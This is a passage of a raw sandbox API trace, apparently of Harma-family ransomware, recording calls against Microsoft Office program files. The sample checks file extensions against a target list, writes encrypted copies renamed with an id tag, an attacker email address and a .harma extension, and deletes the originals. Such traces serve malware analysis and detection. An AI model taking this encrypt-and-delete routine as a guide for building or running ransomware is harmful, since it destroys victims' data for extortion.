SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0166.630] GetLastError () returned 0x0 [0166.630] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0xc57c, lpOverlapped=0x0) returned 1 [0166.668] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xc580, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xc580, lpOverlapped=0x0) returned 1 [0166.670] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0166.670] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0166.670] SetEndOfFile (hFile=0x3a0) returned 1 [0166.670] CloseHandle (hObject=0x3a0) returned 1 [0166.670] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.670] SetEndOfFile (hFile=0x3ac) returned 1 [0166.711] CloseHandle (hObject=0x3ac) returned 1 [0166.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl")) returned 1 [0166.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0166.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0166.712] lstrlenW (lpString=".doc") returned 4 [0166.712] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1 [0166.712] lstrlenW (lpString=".docx") returned 5 [0166.712] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1 [0166.712] lstrlenW (lpString=".pdf") returned 4 [0166.712] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1 [0166.713] lstrlenW (lpString=".xls") returned 4 [0166.713] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1 [0166.713] lstrlenW (lpString=".xlsx") returned 5 [0166.713] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1 [0166.713] lstrlenW (lpString=".ppt") returned 4 [0166.713] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1 [0166.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0166.713] lstrlenW (lpString=".zip") returned 4 [0166.713] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1 [0166.713] lstrlenW (lpString=".rar") returned 4 [0166.713] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1 [0166.713] lstrlenW (lpString=".bz2") returned 4 [0166.713] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1 [0166.713] lstrlenW (lpString=".7z") returned 3 [0166.713] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1 [0166.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0166.713] lstrlenW (lpString=".dbf") returned 4 [0166.713] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1 [0166.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0166.713] lstrlenW (lpString=".1cd") returned 4 [0166.713] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1 [0166.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0166.713] lstrlenW (lpString=".jpg") returned 4 [0166.713] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1 [0166.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0166.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0166.713] lstrlenW (lpString=".doc") returned 4 [0166.713] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1 [0166.714] lstrlenW (lpString=".docx") returned 5 [0166.714] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1 [0166.714] lstrlenW (lpString=".pdf") returned 4 [0166.714] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1 [0166.714] lstrlenW (lpString=".xls") returned 4 [0166.714] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1 [0166.714] lstrlenW (lpString=".xlsx") returned 5 [0166.714] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1 [0166.714] lstrlenW (lpString=".ppt") returned 4 [0166.714] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1 [0166.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0166.714] lstrlenW (lpString=".zip") returned 4 [0166.714] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1 [0166.714] lstrlenW (lpString=".rar") returned 4 [0166.714] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1 [0166.714] lstrlenW (lpString=".bz2") returned 4 [0166.714] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1 [0166.714] lstrlenW (lpString=".7z") returned 3 [0166.714] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1 [0166.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0166.714] lstrlenW (lpString=".dbf") returned 4 [0166.714] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1 [0166.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0166.714] lstrlenW (lpString=".1cd") returned 4 [0166.714] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1 [0166.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0166.714] lstrlenW (lpString=".jpg") returned 4 [0166.714] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1 [0166.715] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0166.715] lstrlenW (lpString="ACCWIZ.DLL") returned 10 [0166.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0166.863] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=210304) returned 1 [0166.863] CloseHandle (hObject=0x384) returned 1 [0166.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll")) returned 0x20 [0166.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0167.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0167.446] lstrlenW (lpString=".doc") returned 4 [0167.446] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0167.446] lstrlenW (lpString=".docx") returned 5 [0167.446] lstrcmpiW (lpString1=".docx", lpString2="Z.DLL") returned -1 [0167.446] lstrlenW (lpString=".pdf") returned 4 [0167.446] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0167.446] lstrlenW (lpString=".xls") returned 4 [0167.446] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0167.446] lstrlenW (lpString=".xlsx") returned 5 [0167.446] lstrcmpiW (lpString1=".xlsx", lpString2="Z.DLL") returned -1 [0167.446] lstrlenW (lpString=".ppt") returned 4 [0167.446] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0167.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0167.446] lstrlenW (lpString=".zip") returned 4 [0167.447] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0167.447] lstrlenW (lpString=".rar") returned 4 [0167.447] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0167.447] lstrlenW (lpString=".bz2") returned 4 [0167.447] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0167.447] lstrlenW (lpString=".7z") returned 3 [0167.447] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0167.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0167.447] lstrlenW (lpString=".dbf") returned 4 [0167.447] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0167.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0167.447] lstrlenW (lpString=".1cd") returned 4 [0167.447] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0167.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0167.447] lstrlenW (lpString=".jpg") returned 4 [0167.447] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0167.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0167.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0167.447] lstrlenW (lpString=".doc") returned 4 [0167.447] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0167.447] lstrlenW (lpString=".docx") returned 5 [0167.447] lstrcmpiW (lpString1=".docx", lpString2="Z.DLL") returned -1 [0167.447] lstrlenW (lpString=".pdf") returned 4 [0167.447] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0167.447] lstrlenW (lpString=".xls") returned 4 [0167.447] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0167.447] lstrlenW (lpString=".xlsx") returned 5 [0167.447] lstrcmpiW (lpString1=".xlsx", lpString2="Z.DLL") returned -1 [0167.447] lstrlenW (lpString=".ppt") returned 4 [0167.447] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0167.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0167.448] lstrlenW (lpString=".zip") returned 4 [0167.448] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0167.448] lstrlenW (lpString=".rar") returned 4 [0167.448] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0167.448] lstrlenW (lpString=".bz2") returned 4 [0167.448] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0167.448] lstrlenW (lpString=".7z") returned 3 [0167.448] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0167.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0167.448] lstrlenW (lpString=".dbf") returned 4 [0167.448] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0167.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0167.448] lstrlenW (lpString=".1cd") returned 4 [0167.448] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0167.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0167.448] lstrlenW (lpString=".jpg") returned 4 [0167.448] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0167.448] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0167.448] lstrlenW (lpString="OUTLVBA.DLL") returned 11 [0167.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outlvba.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0167.490] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=80760) returned 1 [0167.490] CloseHandle (hObject=0x340) returned 1 [0167.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outlvba.dll")) returned 0x20 [0167.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outlvba.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outlvba.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0167.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0167.565] lstrlenW (lpString=".doc") returned 4 [0167.565] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0167.566] lstrlenW (lpString=".docx") returned 5 [0167.566] lstrcmpiW (lpString1=".docx", lpString2="A.DLL") returned -1 [0167.566] lstrlenW (lpString=".pdf") returned 4 [0167.566] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0167.566] lstrlenW (lpString=".xls") returned 4 [0167.566] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0167.566] lstrlenW (lpString=".xlsx") returned 5 [0167.566] lstrcmpiW (lpString1=".xlsx", lpString2="A.DLL") returned -1 [0167.566] lstrlenW (lpString=".ppt") returned 4 [0167.566] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0167.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0167.566] lstrlenW (lpString=".zip") returned 4 [0167.566] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0167.566] lstrlenW (lpString=".rar") returned 4 [0167.566] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0167.566] lstrlenW (lpString=".bz2") returned 4 [0167.566] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0167.566] lstrlenW (lpString=".7z") returned 3 [0167.566] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0167.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0167.566] lstrlenW (lpString=".dbf") returned 4 [0167.566] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0167.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0167.566] lstrlenW (lpString=".1cd") returned 4 [0167.566] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0167.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0167.566] lstrlenW (lpString=".jpg") returned 4 [0167.566] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0167.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0167.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0167.567] lstrlenW (lpString=".doc") returned 4 [0167.567] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0167.567] lstrlenW (lpString=".docx") returned 5 [0167.567] lstrcmpiW (lpString1=".docx", lpString2="A.DLL") returned -1 [0167.567] lstrlenW (lpString=".pdf") returned 4 [0167.567] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0167.567] lstrlenW (lpString=".xls") returned 4 [0167.567] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0167.567] lstrlenW (lpString=".xlsx") returned 5 [0167.567] lstrcmpiW (lpString1=".xlsx", lpString2="A.DLL") returned -1 [0167.567] lstrlenW (lpString=".ppt") returned 4 [0167.567] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0167.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0167.567] lstrlenW (lpString=".zip") returned 4 [0167.567] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0167.567] lstrlenW (lpString=".rar") returned 4 [0167.567] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0167.567] lstrlenW (lpString=".bz2") returned 4 [0167.567] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0167.567] lstrlenW (lpString=".7z") returned 3 [0167.567] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0167.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0167.567] lstrlenW (lpString=".dbf") returned 4 [0167.567] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0167.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0167.568] lstrlenW (lpString=".1cd") returned 4 [0167.568] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0167.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61 [0167.568] lstrlenW (lpString=".jpg") returned 4 [0167.568] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0167.568] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0167.568] lstrlenW (lpString="AECUTILS.DLL") returned 12 [0167.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aecutils.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0167.621] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=796552) returned 1 [0167.621] CloseHandle (hObject=0x33c) returned 1 [0167.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aecutils.dll")) returned 0x20 [0167.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\aecutils.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aecutils.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0167.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0167.622] lstrlenW (lpString=".doc") returned 4 [0167.622] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0167.622] lstrlenW (lpString=".docx") returned 5 [0167.622] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0167.622] lstrlenW (lpString=".pdf") returned 4 [0167.622] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0167.622] lstrlenW (lpString=".xls") returned 4 [0167.622] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0167.622] lstrlenW (lpString=".xlsx") returned 5 [0167.622] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0167.622] lstrlenW (lpString=".ppt") returned 4 [0167.622] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0167.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0167.623] lstrlenW (lpString=".zip") returned 4 [0167.623] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0167.623] lstrlenW (lpString=".rar") returned 4 [0167.623] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0167.623] lstrlenW (lpString=".bz2") returned 4 [0167.623] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0167.623] lstrlenW (lpString=".7z") returned 3 [0167.623] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0167.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0167.623] lstrlenW (lpString=".dbf") returned 4 [0167.623] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0167.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0167.623] lstrlenW (lpString=".1cd") returned 4 [0167.623] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0167.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0167.623] lstrlenW (lpString=".jpg") returned 4 [0167.623] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0167.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0167.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0167.623] lstrlenW (lpString=".doc") returned 4 [0167.623] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0167.623] lstrlenW (lpString=".docx") returned 5 [0167.623] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0167.623] lstrlenW (lpString=".pdf") returned 4 [0167.624] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0167.624] lstrlenW (lpString=".xls") returned 4 [0167.624] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0167.624] lstrlenW (lpString=".xlsx") returned 5 [0167.624] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0167.624] lstrlenW (lpString=".ppt") returned 4 [0167.624] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0167.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0167.624] lstrlenW (lpString=".zip") returned 4 [0167.624] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0167.624] lstrlenW (lpString=".rar") returned 4 [0167.624] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0167.624] lstrlenW (lpString=".bz2") returned 4 [0167.624] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0167.624] lstrlenW (lpString=".7z") returned 3 [0167.624] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0167.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0167.624] lstrlenW (lpString=".dbf") returned 4 [0167.624] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0167.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0167.624] lstrlenW (lpString=".1cd") returned 4 [0167.624] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0167.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL") returned 55 [0167.624] lstrlenW (lpString=".jpg") returned 4 [0167.624] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0167.625] lstrcmpiW (lpString1=".LNG", lpString2=".harma") returned 1 [0167.625] lstrlenW (lpString="ASCIIENG.LNG") returned 12 [0167.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0167.626] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=286848) returned 1 [0167.626] CloseHandle (hObject=0x33c) returned 1 [0167.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng")) returned 0x20 [0167.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0167.627] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.627] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0167.683] GetLastError () returned 0x0 [0167.683] ReadFile (in: hFile=0x33c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x46080, lpOverlapped=0x0) returned 1 [0167.781] WriteFile (in: hFile=0x210, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x46090, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x46090, lpOverlapped=0x0) returned 